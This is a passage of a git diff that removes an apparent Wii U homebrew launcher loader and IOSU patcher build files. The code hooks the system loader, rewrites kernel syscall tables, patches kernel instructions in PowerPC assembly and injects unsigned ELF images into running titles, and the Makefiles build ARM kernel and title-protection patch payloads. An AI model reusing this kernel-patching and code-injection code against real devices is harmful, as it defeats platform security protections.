loader_globals->sgFileOffset; - sgBounceError = &loader_globals->sgBounceError; - sgGotBytes = &loader_globals->sgGotBytes; - sgTotalBytes = &loader_globals->sgTotalBytes; - sgFinishedLoadingBuffer = &loader_globals->sgFinishedLoadingBuffer; - // not available on 5.5.x - sgIsLoadingBuffer = NULL; - } - else - { - // pointer to global variables of the loader - loader_globals_t *loader_globals = (loader_globals_t*)(OS_SPECIFICS->addr_sgIsLoadingBuffer); - - sgBufferNumber = loader_globals->sgBufferNumber; - sgFileOffset = loader_globals->sgFileOffset; - sgBounceError = &loader_globals->sgBounceError; - sgGotBytes = &loader_globals->sgGotBytes; - sgIsLoadingBuffer = &loader_globals->sgIsLoadingBuffer; - // not available on < 5.5.x - sgTotalBytes = NULL; - sgFinishedLoadingBuffer = NULL; - } - - // the data loading was started in LiBounceOneChunk() and here it waits for IOSU to finish copy the data - if(gDynloadInitialized != 0) { - result = OS_SPECIFICS->LiWaitIopCompleteWithInterrupts(0x2160EC0, &remaining_bytes); - - } - else { - result = OS_SPECIFICS->LiWaitIopComplete(0x2160EC0, &remaining_bytes); - } - - // Comment (Dimok): - // time measurement at this position for logger -> we don't need it right now except maybe for debugging - //unsigned long long systemTime2 = Loader_GetSystemTime(); - - //------------------------------------------------------------------------------------------------------------------ - // Start of our function intrusion: - // After IOSU is done writing the data into the 0xF6000000/0xF6400000 address, - // we overwrite it with our data before setting the global flag for IsLoadingBuffer to 0 - // Do this only if we are in the game that was launched by our method - s_mem_area *mem_area = MEM_AREA_TABLE; - if((ELF_DATA_ADDR == mem_area->address) && (fileType == 0)) - { - unsigned int load_address = (sgBufferNumber == 1) ? 0xF6000000 : (0xF6000000 + 0x00400000); - unsigned int load_addressPhys = (sgBufferNumber == 1) ? 0x1B000000 : (0x1B000000 + 0x00400000); // virtual 0xF6000000 and 0xF6400000 - - remaining_bytes = ELF_DATA_SIZE - sgFileOffset; - if (remaining_bytes > 0x400000) - // truncate size - remaining_bytes = 0x400000; - - DCFlushRange((void*)load_address, remaining_bytes); - - u32 rpxBlockPos = 0; - u32 done = 0; - u32 mapOffset = 0; - - while((done < (u32)sgFileOffset) && mem_area) - { - if((done + mem_area->size) > (u32)sgFileOffset) - { - mapOffset = sgFileOffset - done; - done = sgFileOffset; - } - else - { - done += mem_area->size; - mem_area = mem_area->next; - } - } - - while((done < ELF_DATA_SIZE) && (rpxBlockPos < 0x400000) && mem_area) - { - u32 address = mem_area->address + mapOffset; - u32 blockSize = ELF_DATA_SIZE - done; - - if(blockSize > (0x400000 - rpxBlockPos)) - { - blockSize = 0x400000 - rpxBlockPos; - } - if((mapOffset + blockSize) >= mem_area->size) - { - blockSize = mem_area->size - mapOffset; - //! this value is incremented later by blockSize, so set it to -blockSize for it to be 0 after copy - //! it makes smaller code then if(mapOffset == mem_area->size) after copy - mapOffset = -blockSize; - mem_area = mem_area->next; - } - - SC0x25_KernelCopyData(load_addressPhys + rpxBlockPos, address, blockSize); - done += blockSize; - rpxBlockPos += blockSize; - mapOffset += blockSize; - } - - DCInvalidateRange((void*)load_address, remaining_bytes); - - if((u32)(sgFileOffset + remaining_bytes) == ELF_DATA_SIZE) - { - ELF_DATA_ADDR = 0xDEADC0DE; - ELF_DATA_SIZE = 0; - MAIN_ENTRY_ADDR = 0xC001C0DE; - } - // set result to 0 -> "everything OK" - result = 0; - } - - // end of our little intrusion into this function - //------------------------------------------------------------------------------------------------------------------ - - // set the result to the global bounce error variable - if(sgBounceError) { - *sgBounceError = result; - } - - // disable global flag that buffer is still loaded by IOSU - if(sgFinishedLoadingBuffer) - { - unsigned int zeroBitCount = 0; - asm volatile("cntlzw %0, %0" : "=r" (zeroBitCount) : "r"(*sgFinishedLoadingBuffer)); - *sgFinishedLoadingBuffer = zeroBitCount >> 5; - } - else if(sgIsLoadingBuffer) - { - *sgIsLoadingBuffer = 0; - } - - // check result for errors - if(result == 0) - { - // the remaining size is set globally and in stack variable only - // if a pointer was passed to this function - if(iRemainingBytes) { - if(sgGotBytes) { - *sgGotBytes = remaining_bytes; - } - - *iRemainingBytes = remaining_bytes; - - // on 5.5.x a new variable for total loaded bytes was added - if(sgTotalBytes) { - *sgTotalBytes += remaining_bytes; - } - } - // Comment (Dimok): - // calculate time difference and print it on logging how long the wait for asynchronous data load took - // something like (systemTime2 - systemTime1) * constant / bus speed, did not look deeper into it as we don't need that crap - } - else { - // Comment (Dimok): - // a lot of error handling here. depending on error code sometimes calls Loader_Panic() -> we don't make errors so we can skip that part ;-P - } - return result; -} - -void my_PrepareTitle(CosAppXmlInfo *xmlKernelInfo) -{ - if(ELF_DATA_ADDR == MEM_AREA_TABLE->address) - { - xmlKernelInfo->max_size = RPX_MAX_SIZE; - xmlKernelInfo->max_codesize = RPX_MAX_CODE_SIZE; - //! setup our hook to LiWaitOneChunk for RPX loading - hook_LiWaitOneChunk = ((u32)LiWaitOneChunk) | 0x48000002; - KernelCopyData(addrphys_LiWaitOneChunk, (u32) &hook_LiWaitOneChunk, 4); - asm volatile("icbi 0, %0" : : "r" (OS_SPECIFICS->addr_LiWaitOneChunk & ~31)); - } - else if((MAIN_ENTRY_ADDR == 0xC001C0DE) && (*(u32*)xmlKernelInfo->rpx_name == 0x66666c5f)) // ffl_ - { - //! restore original LiWaitOneChunk instruction as our RPX is done - MAIN_ENTRY_ADDR = 0xDEADC0DE; - KernelCopyData(addrphys_LiWaitOneChunk, (u32)&OS_SPECIFICS->orig_LiWaitOneChunkInstr, 4); - asm volatile("icbi 0, %0" : : "r" (OS_SPECIFICS->addr_LiWaitOneChunk & ~31)); - } -} - -static int LoadFileToMem(private_data_t *private_data, const char *filepath, unsigned char **fileOut, unsigned int * sizeOut) -{ - int iFd = -1; - void *pClient = private_data->MEMAllocFromDefaultHeapEx(FS_CLIENT_SIZE, 4); - if(!pClient) - return 0; - - void *pCmd = private_data->MEMAllocFromDefaultHeapEx(FS_CMD_BLOCK_SIZE, 4); - if(!pCmd) - { - private_data->MEMFreeToDefaultHeap(pClient); - return 0; - } - - int success = 0; - private_data->FSInit(); - private_data->FSInitCmdBlock(pCmd); - private_data->FSAddClientEx(pClient, 0, -1); - - do - { - char tempPath[FS_MOUNT_SOURCE_SIZE]; - char mountPath[FS_MAX_MOUNTPATH_SIZE]; - - int status = private_data->FSGetMountSource(pClient, pCmd, 0, tempPath, -1); - if (status != 0) { - private_data->OSFatal("-3"); - } - status = private_data->FSMount(pClient, pCmd, tempPath, mountPath, FS_MAX_MOUNTPATH_SIZE, -1); - if(status != 0) { - private_data->OSFatal("-4"); - } - - status = private_data->FSOpenFile(pClient, pCmd, filepath, "r", &iFd, -1); - if(status != 0) { - private_data->OSFatal("-5"); - } - - FSStat stat; - stat.size = 0; - - void *pBuffer = NULL; - - private_data->FSGetStatFile(pClient, pCmd, iFd, &stat, -1); - - if(stat.size > 0) - pBuffer = private_data->MEMAllocFromDefaultHeapEx((stat.size + 0x3F) & ~0x3F, 0x40); - else - private_data->OSFatal("-6"); - - unsigned int done = 0; - - while(done < stat.size) - { - int readBytes = private_data->FSReadFile(pClient, pCmd, pBuffer + done, 1, stat.size - done, iFd, 0, -1); - if(readBytes <= 0) { - break; - } - done += readBytes; - } - - if(done != stat.size) - { - private_data->MEMFreeToDefaultHeap(pBuffer); - } - else - { - *fileOut = (unsigned char*)pBuffer; - *sizeOut = stat.size; - success = 1; - } - - private_data->FSCloseFile(pClient, pCmd, iFd, -1); - private_data->FSUnmount(pClient, pCmd, mountPath, -1); - } - while(0); - - private_data->FSDelClient(pClient); - private_data->MEMFreeToDefaultHeap(pClient); - private_data->MEMFreeToDefaultHeap(pCmd); - return success; -} - -static void setup_patches(private_data_t *private_data) -{ - //! setup necessary syscalls and hooks for HBL - kern_write((void*)(OS_SPECIFICS->addr_KernSyscallTbl1 + (0x25 * 4)), (unsigned int)KernelCopyData); - kern_write((void*)(OS_SPECIFICS->addr_KernSyscallTbl2 + (0x25 * 4)), (unsigned int)KernelCopyData); - kern_write((void*)(OS_SPECIFICS->addr_KernSyscallTbl3 + (0x25 * 4)), (unsigned int)KernelCopyData); - kern_write((void*)(OS_SPECIFICS->addr_KernSyscallTbl4 + (0x25 * 4)), (unsigned int)KernelCopyData); - kern_write((void*)(OS_SPECIFICS->addr_KernSyscallTbl5 + (0x25 * 4)), (unsigned int)KernelCopyData); - - //! store physical address for later use - addrphys_LiWaitOneChunk = private_data->OSEffectiveToPhysical((void*)OS_SPECIFICS->addr_LiWaitOneChunk); - - u32 addr_my_PrepareTitle_hook = ((u32)my_PrepareTitle_hook) | 0x48000003; - DCFlushRange(&addr_my_PrepareTitle_hook, 4); - - //! create our copy syscall - SC0x25_KernelCopyData(OS_SPECIFICS->addr_PrepareTitle_hook, private_data->OSEffectiveToPhysical(&addr_my_PrepareTitle_hook), 4); - -} - -static unsigned int load_elf_image (private_data_t *private_data, unsigned char *elfstart) -{ - Elf32_Ehdr *ehdr; - Elf32_Phdr *phdrs; - unsigned char *image; - int i; - - ehdr = (Elf32_Ehdr *) elfstart; - - if(ehdr->e_phoff == 0 || ehdr->e_phnum == 0) - return 0; - - if(ehdr->e_phentsize != sizeof(Elf32_Phdr)) - return 0; - - phdrs = (Elf32_Phdr*)(elfstart + ehdr->e_phoff); - - for(i = 0; i < ehdr->e_phnum; i++) - { - if(phdrs[i].p_type != PT_LOAD) - continue; - - if(phdrs[i].p_filesz > phdrs[i].p_memsz) - continue; - - if(!phdrs[i].p_filesz) - continue; - - unsigned int p_paddr = phdrs[i].p_paddr; - image = (unsigned char *) (elfstart + phdrs[i].p_offset); - - private_data->memcpy ((void *) p_paddr, image, phdrs[i].p_filesz); - DCFlushRange((void*)p_paddr, phdrs[i].p_filesz); - - if(phdrs[i].p_flags & PF_X) - ICInvalidateRange ((void *) p_paddr, phdrs[i].p_memsz); - } - - //! clear BSS - Elf32_Shdr *shdr = (Elf32_Shdr *) (elfstart + ehdr->e_shoff); - for(i = 0; i < ehdr->e_shnum; i++) - { - const char *section_name = ((const char*)elfstart) + shdr[ehdr->e_shstrndx].sh_offset + shdr[i].sh_name; - if(section_name[0] == '.' && section_name[1] == 'b' && section_name[2] == 's' && section_name[3] == 's') - { - private_data->memset((void*)shdr[i].sh_addr, 0, shdr[i].sh_size); - DCFlushRange((void*)shdr[i].sh_addr, shdr[i].sh_size); - } - else if(section_name[0] == '.' && section_name[1] == 's' && section_name[2] == 'b' && section_name[3] == 's' && section_name[4] == 's') - { - private_data->memset((void*)shdr[i].sh_addr, 0, shdr[i].sh_size); - DCFlushRange((void*)shdr[i].sh_addr, shdr[i].sh_size); - } - } - - return ehdr->e_entry; -} - -static void loadFunctionPointers(private_data_t * private_data) -{ - unsigned int coreinit_handle; - - EXPORT_DECL(int, OSDynLoad_Acquire, const char* rpl, u32 *handle); - EXPORT_DECL(int, OSDynLoad_FindExport, u32 handle, int isdata, const char *symbol, void *address); - - OSDynLoad_Acquire = (int (*)(const char*, u32 *))OS_SPECIFICS->addr_OSDynLoad_Acquire; - OSDynLoad_FindExport = (int (*)(u32, int, const char *, void *))OS_SPECIFICS->addr_OSDynLoad_FindExport; - - OSDynLoad_Acquire("coreinit", &coreinit_handle); - - unsigned int *functionPtr = 0; - - OSDynLoad_FindExport(coreinit_handle, 1, "MEMAllocFromDefaultHeapEx", &functionPtr); - private_data->MEMAllocFromDefaultHeapEx = (void * (*)(int, int))*functionPtr; - OSDynLoad_FindExport(coreinit_handle, 1, "MEMFreeToDefaultHeap", &functionPtr); - private_data->MEMFreeToDefaultHeap = (void (*)(void *))*functionPtr; - - OS_FIND_EXPORT(coreinit_handle, "memcpy", private_data->memcpy); - OS_FIND_EXPORT(coreinit_handle, "memset", private_data->memset); - OS_FIND_EXPORT(coreinit_handle, "OSFatal", private_data->OSFatal); - OS_FIND_EXPORT(coreinit_handle, "DCFlushRange", DCFlushRange); - OS_FIND_EXPORT(coreinit_handle, "DCInvalidateRange", DCInvalidateRange); - OS_FIND_EXPORT(coreinit_handle, "ICInvalidateRange", ICInvalidateRange); - OS_FIND_EXPORT(coreinit_handle, "OSEffectiveToPhysical", private_data->OSEffectiveToPhysical); - OS_FIND_EXPORT(coreinit_handle, "exit", private_data->exit); - - OS_FIND_EXPORT(coreinit_handle, "FSInit", private_data->FSInit); - OS_FIND_EXPORT(coreinit_handle, "FSAddClientEx", private_data->FSAddClientEx); - OS_FIND_EXPORT(coreinit_handle, "FSDelClient", private_data->FSDelClient); - OS_FIND_EXPORT(coreinit_handle, "FSInitCmdBlock", private_data->FSInitCmdBlock); - OS_FIND_EXPORT(coreinit_handle, "FSGetMountSource", private_data->FSGetMountSource); - OS_FIND_EXPORT(coreinit_handle, "FSMount", private_data->FSMount); - OS_FIND_EXPORT(coreinit_handle, "FSUnmount", private_data->FSUnmount); - OS_FIND_EXPORT(coreinit_handle, "FSOpenFile", private_data->FSOpenFile); - OS_FIND_EXPORT(coreinit_handle, "FSGetStatFile", private_data->FSGetStatFile); - OS_FIND_EXPORT(coreinit_handle, "FSReadFile", private_data->FSReadFile); - OS_FIND_EXPORT(coreinit_handle, "FSCloseFile", private_data->FSCloseFile); - - unsigned int sysapp_handle; - OSDynLoad_Acquire("sysapp.rpl", &sysapp_handle); - OS_FIND_EXPORT(sysapp_handle, "SYSRelaunchTitle", private_data->SYSRelaunchTitle); -} - -static const char *HBL_ELF_PATH = "/vol/external01/wiiu/apps/homebrew_launcher/homebrew_launcher.elf"; - -unsigned int _main(int argc, char **argv) -{ - private_data_t private_data; - - if(MAIN_ENTRY_ADDR != 0xC001C0DE) - { - loadFunctionPointers(&private_data); - - while(1) - { - if(ELF_DATA_ADDR != 0xDEADC0DE && ELF_DATA_SIZE > 0) - { - //! copy data to safe area before processing it - unsigned char * pElfBuffer = (unsigned char *)private_data.MEMAllocFromDefaultHeapEx(ELF_DATA_SIZE, 4); - if(pElfBuffer) - { - private_data.memcpy(pElfBuffer, (unsigned char*)ELF_DATA_ADDR, ELF_DATA_SIZE); - MAIN_ENTRY_ADDR = load_elf_image(&private_data, pElfBuffer); - private_data.MEMFreeToDefaultHeap(pElfBuffer); - - } - ELF_DATA_ADDR = 0xDEADC0DE; - ELF_DATA_SIZE = 0; - } - - if(MAIN_ENTRY_ADDR == 0xDEADC0DE || MAIN_ENTRY_ADDR == 0) - { - //! setup necessary syscalls and hooks for HBL before launching it - setup_patches(&private_data); - - if(HBL_CHANNEL) - { - break; - } - else - { - unsigned char *pElfBuffer = NULL; - unsigned int uiElfSize = 0; - - LoadFileToMem(&private_data, SD_LOADER_FORCE_HBL ? HBL_ELF_PATH : SD_LOADER_PATH, &pElfBuffer, &uiElfSize); - - if(!pElfBuffer) - { - private_data.OSFatal("-1"); - } - else - { - MAIN_ENTRY_ADDR = load_elf_image(&private_data, pElfBuffer); - if(MAIN_ENTRY_ADDR == 0) - { - private_data.OSFatal("-2"); - } - else - { - private_data.MEMFreeToDefaultHeap(pElfBuffer); - } - } - } - } - else - { - int returnVal = ((int (*)(int, char **))MAIN_ENTRY_ADDR)(argc, argv); - //! exit to miimaker and restart application on re-enter of another application - if(returnVal == (int)EXIT_RELAUNCH_ON_LOAD) - { - break; - } - //! exit to homebrew launcher in all other cases - else - { - SD_LOADER_FORCE_HBL = 1; - MAIN_ENTRY_ADDR = 0xDEADC0DE; - private_data.SYSRelaunchTitle(0, 0); - private_data.exit(0); - break; - } - } - } - } - - unsigned int entry = *(unsigned int*)OS_SPECIFICS->addr_OSTitle_main_entry; - - //! if an application was an RPX launch then launch HBL again after return - /*if(MAIN_ENTRY_ADDR == 0xC001C0DE) - { - int ret = ( (int (*)(int, char **))(entry) )(argc, argv); - private_data.SYSRelaunchTitle(0, 0); - private_data.exit(ret); - }*/ - //! launch the original title with clean stack - return entry; -} diff --git a/dsrom/hbl_loader/sd_loader/src/kernel_defs.h b/dsrom/hbl_loader/sd_loader/src/kernel_defs.h deleted file mode 100644 index a1cce49..0000000 --- a/dsrom/hbl_loader/sd_loader/src/kernel_defs.h +++ /dev/null @@ -1,75 +0,0 @@ -#ifndef __KERNEL_DEFS_H_ -#define __KERNEL_DEFS_H_ - -#include - -#ifdef __cplusplus -extern "C" { -#endif - -// original structure in the kernel that is originally 0x1270 long -typedef struct -{ - uint32_t version_cos_xml; // version tag from cos.xml - uint64_t os_version; // os_version from app.xml - uint64_t title_id; // title_id tag from app.xml - uint32_t app_type; // app_type tag from app.xml - uint32_t cmdFlags; // unknown tag as it is always 0 (might be cmdFlags from cos.xml but i am not sure) - char rpx_name[0x1000]; // rpx name from cos.xml - uint32_t unknown2; // 0x050B8304 in mii maker and system menu (looks a bit like permissions complex that got masked!?) - uint32_t unknown3[63]; // those were all zeros, but its probably connected with unknown2 - uint32_t max_size; // max_size in cos.xml which defines the maximum amount of memory reserved for the app - uint32_t avail_size; // avail_size or codegen_size in cos.xml (seems to mostly be 0?) - uint32_t codegen_size; // codegen_size or avail_size in cos.xml (seems to mostly be 0?) - uint32_t codegen_core; // codegen_core in cos.xml (seems to mostly be 1?) - uint32_t max_codesize; // max_codesize in cos.xml - uint32_t overlay_arena; // overlay_arena in cos.xml - uint32_t unknown4[59]; // all zeros it seems - uint32_t default_stack0_size; // not sure because always 0 but very likely - uint32_t default_stack1_size; // not sure because always 0 but very likely - uint32_t default_stack2_size; // not sure because always 0 but very likely - uint32_t default_redzone0_size; // not sure because always 0 but very likely - uint32_t default_redzone1_size; // not sure because always 0 but very likely - uint32_t default_redzone2_size; // not sure because always 0 but very likely - uint32_t exception_stack0_size; // from cos.xml, 0x1000 on mii maker - uint32_t exception_stack1_size; // from cos.xml, 0x1000 on mii maker - uint32_t exception_stack2_size; // from cos.xml, 0x1000 on mii maker - uint32_t sdk_version; // from app.xml, 20909 (0x51AD) on mii maker - uint32_t title_version; // from app.xml, 0x32 on mii maker - /* - // --------------------------------------------------------------------------------------------------------------------------------------------- - // the next part might be changing from title to title?! I don't think its important but nice to know maybe.... - // --------------------------------------------------------------------------------------------------------------------------------------------- - char mlc[4]; // string "mlc" on mii maker and sysmenu - uint32_t unknown5[7]; // all zeros on mii maker and sysmenu - uint32_t unknown6_one; // 0x01 on mii maker and sysmenu - // --------------------------------------------------------------------------------------------------------------------------------------------- - char ACP[4]; // string "ACP" on mii maker and sysmenu - uint32_t unknown7[15]; // all zeros on mii maker and sysmenu - uint32_t unknown8_5; // 0x05 on mii maker and sysmenu - uint32_t unknown9_zero; // 0x00 on mii maker and sysmenu - uint32_t unknown10_ptr; // 0xFF23DD0C pointer on mii maker and sysmenu - // --------------------------------------------------------------------------------------------------------------------------------------------- - char UVD[4]; // string "UVD" on mii maker and sysmenu - uint32_t unknown11[15]; // all zeros on mii maker and sysmenu - uint32_t unknown12_5; // 0x05 on mii maker and sysmenu - uint32_t unknown13_zero; // 0x00 on mii maker and sysmenu - uint32_t unknown14_ptr; // 0xFF23EFC8 pointer on mii maker and sysmenu - // --------------------------------------------------------------------------------------------------------------------------------------------- - char SND[4]; // string "SND" on mii maker and sysmenu - uint32_t unknown15[15]; // all zeros on mii maker and sysmenu - uint32_t unknown16_5; // 0x05 on mii maker and sysmenu - uint32_t unknown17_zero; // 0x00 on mii maker and sysmenu - uint32_t unknown18_ptr; // 0xFF23F014 pointer on mii maker and sysmenu - // --------------------------------------------------------------------------------------------------------------------------------------------- - uint32_t unknown19; // 0x02 on miimaker, 0x0F on system menu - */ - // after that only zeros follow -} __attribute__((packed)) CosAppXmlInfo; - - -#ifdef __cplusplus -} -#endif - -#endif // __KERNEL_DEFS_H_ diff --git a/dsrom/hbl_loader/sd_loader/src/kernel_hooks.S b/dsrom/hbl_loader/sd_loader/src/kernel_hooks.S deleted file mode 100644 index 0d7f11f..0000000 --- a/dsrom/hbl_loader/sd_loader/src/kernel_hooks.S +++ /dev/null @@ -1,69 +0,0 @@ -# This stuff may need a change in different kernel versions -# This is only needed when launched directly through browser and not SD card. - -.section ".kernel_code" - .globl SaveAndResetDataBATs_And_SRs_hook -SaveAndResetDataBATs_And_SRs_hook: - # setup CTR to the position we need to return to - mflr r5 - mtctr r5 - # set link register to its original value - mtlr r7 - # setup us a nice DBAT for our code data with same region as our code - mfspr r5, 560 - mtspr 570, r5 - mfspr r5, 561 - mtspr 571, r5 - # restore the original kernel instructions that we replaced - lwz r5, 0x34(r3) - lwz r6, 0x38(r3) - lwz r7, 0x3C(r3) - lwz r8, 0x40(r3) - lwz r9, 0x44(r3) - lwz r10, 0x48(r3) - lwz r11, 0x4C(r3) - lwz r3, 0x50(r3) - isync - mtsr 7, r5 - # jump back to the position in kernel after our patch (from LR) - bctr - -.extern my_PrepareTitle - .globl my_PrepareTitle_hook -my_PrepareTitle_hook: - # store all registers on stack to avoid issues with the call to C functions - stwu r1, -0x90(r1) - # registers for our own usage - # just store everything - stmw r3, 0x10(r1) - - # save the LR from where we came - mflr r31 - - # the cos.xml/app.xml structure is at the location 0x68 of r11 - # there are actually many places that can be hooked for it - # e.g. 0xFFF16130 and r27 points to this structure - addi r3, r11, 0x68 - - bl my_PrepareTitle - - # setup LR to jump back to kernel code - mtlr r31 - - # restore all original values of registers from stack - lmw r3, 0x10(r1) - - # restore the stack - addi r1, r1, 0x90 - - # restore original instruction that we replaced in the kernel - clrlwi r7, r12, 0 - - # jump back - blr - - .globl SC0x25_KernelCopyData -SC0x25_KernelCopyData: - li r0, 0x2500 - sc - blr diff --git a/dsrom/hbl_loader/sd_loader/src/link.ld b/dsrom/hbl_loader/sd_loader/src/link.ld deleted file mode 100644 index 610f5d3..0000000 --- a/dsrom/hbl_loader/sd_loader/src/link.ld +++ /dev/null @@ -1,23 +0,0 @@ -OUTPUT(sd_loader.elf); - -ENTRY(_start); - -SECTIONS { - . = 0x00800000; - .text : { - *(.kernel_code*); - *(.text*); - /* Tell linker to not garbage collect this section as it is not referenced anywhere */ - KEEP(*(.kernel_code*)); - } - .data : { - *(.rodata*); - *(.data*); - *(.bss*); - } - /DISCARD/ : { - *(*); - } -} - -ASSERT((SIZEOF(.text) + SIZEOF(.data)) <= 0x1300, "Memory overlapping with main elf."); diff --git a/dsrom/hbl_loader/sd_loader/src/loader_defs.h b/dsrom/hbl_loader/sd_loader/src/loader_defs.h deleted file mode 100644 index b71514f..0000000 --- a/dsrom/hbl_loader/sd_loader/src/loader_defs.h +++ /dev/null @@ -1,38 +0,0 @@ -#ifndef __LOADER_DEFS_H_ -#define __LOADER_DEFS_H_ - -#ifdef __cplusplus -extern "C" { -#endif - -// struct holding the globals of the loader (there are actually more but we don't need others) -typedef struct _loader_globals_t -{ - int sgIsLoadingBuffer; - int sgFileType; - int sgProcId; - int sgGotBytes; - int sgFileOffset; - int sgBufferNumber; - int sgBounceError; - char sgLoadName[0x1000]; -} __attribute__((packed)) loader_globals_t; - -typedef struct _loader_globals_550_t -{ - int sgFinishedLoadingBuffer; - int sgFileType; - int sgProcId; - int sgGotBytes; - int sgTotalBytes; - int sgFileOffset; - int sgBufferNumber; - int sgBounceError; - char sgLoadName[0x1000]; -} __attribute__((packed)) loader_globals_550_t; - -#ifdef __cplusplus -} -#endif - -#endif // __LOADER_DEFS_H_ diff --git a/dsrom/hbl_loader/structs.h b/dsrom/hbl_loader/structs.h deleted file mode 100644 index 9233f86..0000000 --- a/dsrom/hbl_loader/structs.h +++ /dev/null @@ -1,32 +0,0 @@ -#ifndef STRUCTS_H -#define STRUCTS_H - -typedef struct { - unsigned char *data; - int len; - int alloc_size; - void* (*memcpy)(void * dest, const void * src, int num); -} file_struct_t; - -typedef struct { - unsigned char *data_elf; - unsigned int coreinit_handle; - /* function pointers */ - void* (*memcpy)(void * dest, const void * src, int num); - void* (*memset)(void * dest, unsigned int value, unsigned int bytes); - void* (*OSEffectiveToPhysical)(const void*); - void* (*MEMAllocFromDefaultHeapEx)(unsigned int size, unsigned int align); - void (*MEMFreeToDefaultHeap)(void *ptr); - void (*DCFlushRange)(const void *addr, unsigned int length); - void (*ICInvalidateRange)(const void *addr, unsigned int length); - void (*_Exit)(int); - - void* (*curl_easy_init)(void); - void (*curl_easy_setopt)(void *handle, unsigned int param, const void *op); - int (*curl_easy_perform)(void *handle); - void (*curl_easy_getinfo)(void *handle, unsigned int param, void *op); - void (*curl_easy_cleanup)(void *handle); -} private_data_t; - - -#endif // STRUCTS_H diff --git a/dsrom/hbl_loader/types.h b/dsrom/hbl_loader/types.h deleted file mode 100644 index e9194b3..0000000 --- a/dsrom/hbl_loader/types.h +++ /dev/null @@ -1,22 +0,0 @@ -#ifndef TYPES_H -#define TYPES_H - -typedef unsigned long long uint64_t; -typedef long long int64_t; -typedef unsigned int uint32_t; -typedef int int32_t; -typedef unsigned short uint16_t; -typedef short int16_t; -typedef unsigned char uint8_t; -typedef char int8_t; - -typedef uint32_t size_t; - -typedef _Bool bool; -#define true 1 -#define false 0 -#define null 0 - -#define NULL (void*)0 - -#endif /* TYPES_H */ diff --git a/dsrom/iosu_patcher/Makefile b/dsrom/iosu_patcher/Makefile deleted file mode 100644 index 48c1b8c..0000000 --- a/dsrom/iosu_patcher/Makefile +++ /dev/null @@ -1,63 +0,0 @@ -PATH := $(DEVKITPPC)/bin:$(PATH) -PREFIX ?= powerpc-eabi- -CC = $(PREFIX)gcc -AS = $(PREFIX)gcc -CFLAGS = -std=gnu89 -O3 -Wall -nostdinc -fno-builtin -I$(DEVKITPPC)/lib/gcc/powerpc-eabi/6.2.0/include -I$(DEVKITPPC)/powerpc-eabi/include -ASFLAGS = -mregnames -x assembler-with-cpp -LD = $(PREFIX)ld -OBJCOPY = $(PREFIX)objcopy -LDFLAGS=-Ttext 1804000 -L$(DEVKITPPC)/lib/gcc/powerpc-eabi/6.2.0 -L$(DEVKITPPC)/powerpc-eabi/lib -lgcc -lc -OBJDUMP ?= $(PREFIX)objdump -project := . -root := $(CURDIR) -build := $(root)/bin - -FIRMWARE = 550 - -all: clean setup main - -$(CURDIR)/payload/arm_kernel_bin.h: $(CURDIR)/payload/titleprot2_bin.h $(CURDIR)/payload/titleprot_bin.h \ - $(CURDIR)/payload/wupserver_bin.h $(CURDIR)/payload/arm_user_bin.h - @$(MAKE) --no-print-directory -C $(CURDIR)/arm_kernel -f $(CURDIR)/arm_kernel/Makefile - @-mkdir -p $(CURDIR)/payload - @cp -p $(CURDIR)/arm_kernel/arm_kernel_bin.h $@ - -$(CURDIR)/payload/titleprot2_bin.h: - @$(MAKE) --no-print-directory -C $(CURDIR)/titleprot2 -f $(CURDIR)/titleprot2/Makefile - @-mkdir -p $(CURDIR)/payload - @cp -p $(CURDIR)/titleprot2/titleprot2_bin.h $@ - -$(CURDIR)/payload/titleprot_bin.h: - @$(MAKE) --no-print-directory -C $(CURDIR)/titleprot -f $(CURDIR)/titleprot/Makefile - @-mkdir -p $(CURDIR)/payload - @cp -p $(CURDIR)/titleprot/titleprot_bin.h $@ - -$(CURDIR)/payload/wupserver_bin.h: - @$(MAKE) --no-print-directory -C $(CURDIR)/../../wupserver -f $(CURDIR)/../../wupserver/Makefile - @-mkdir -p $(CURDIR)/payload - @cp -p $(CURDIR)/../../wupserver/wupserver_bin.h $@ - -$(CURDIR)/payload/arm_user_bin.h: - @$(MAKE) --no-print-directory -C $(CURDIR)/arm_user -f $(CURDIR)/arm_user/Makefile - @-mkdir -p $(CURDIR)/payload - @cp -p $(CURDIR)/arm_user/arm_user_bin.h $@ - -setup: - mkdir -p $(root)/bin/ - -main: $(CURDIR)/payload/arm_kernel_bin.h - $(CC) $(CFLAGS) -DVER=$(FIRMWARE) -c $(project)/main.c - $(AS) $(ASFLAGS) -DVER=$(FIRMWARE) -c $(project)/crt0.S - cp -r $(root)/*.o $(build) - rm $(root)/*.o - $(LD) -o iosu_patcher.elf $(build)/crt0.o `find $(build) -name "*.o" ! -name "crt0.o"` $(LDFLAGS) -Map iosu_patcher.map - $(OBJCOPY) iosu_patcher.elf -S -O binary ../iosu_patcher.bin - -clean: - rm -rf $(build) payload - rm -rf iosu_patcher.elf iosu_patcher.map - $(MAKE) --no-print-directory -C $(CURDIR)/arm_user -f $(CURDIR)/arm_user/Makefile clean - $(MAKE) --no-print-directory -C $(CURDIR)/titleprot -f $(CURDIR)/titleprot/Makefile clean - $(MAKE) --no-print-directory -C $(CURDIR)/titleprot2 -f $(CURDIR)/titleprot2/Makefile clean - $(MAKE) --no-print-directory -C $(CURDIR)/../../wupserver -f $(CURDIR)/../../wupserver/Makefile clean - $(MAKE) --no-print-directory -C $(CURDIR)/arm_kernel -f $(CURDIR)/arm_kernel/Makefile clean diff --git a/dsrom/iosu_patcher/arm_kernel/Makefile b/dsrom/iosu_patcher/arm_kernel/Makefile deleted file mode 100644 index 54df575..0000000 --- a/dsrom/iosu_patcher/arm_kernel/Makefile +++ /dev/null @@ -1,71 +0,0 @@ -ifeq ($(strip $(DEVKITARM)),) -$(error "Please set DEVKITARM in your environment. export DEVKITARM=devkitARM") -endif - -ifeq ($(filter $(DEVKITARM)/bin,$(PATH)),) -export PATH:=$(DEVKITARM)/bin:$(PATH) -endif - -CC = arm-none-eabi-gcc -# LINK = arm-none-eabi-gcc -LINK = arm-none-eabi-ld -AS = arm-none-eabi-as -OBJCOPY = arm-none-eabi-objcopy -CFLAGS += -Wall -mbig-endian -std=gnu99 -march=armv5 -Os -I$(DEVKITPRO)/libnds/include -LDFLAGS += --script=link.ld -EB -L"$(DEVKITARM)/arm-none-eabi/lib" -Map=output.map - -CFILES = $(wildcard source/*.c) -BINFILES = $(wildcard data/*.bin) -OFILES = $(BINFILES:data/%.bin=build/%.bin.o) -OFILES += $(CFILES:source/%.c=build/%.o) -DFILES = $(CFILES:source/%.c=build/%.d) -SFILES = $(wildcard source/*.s) -OFILES += $(SFILES:source/%.s=build/%.o) -PROJECTNAME = ${shell basename 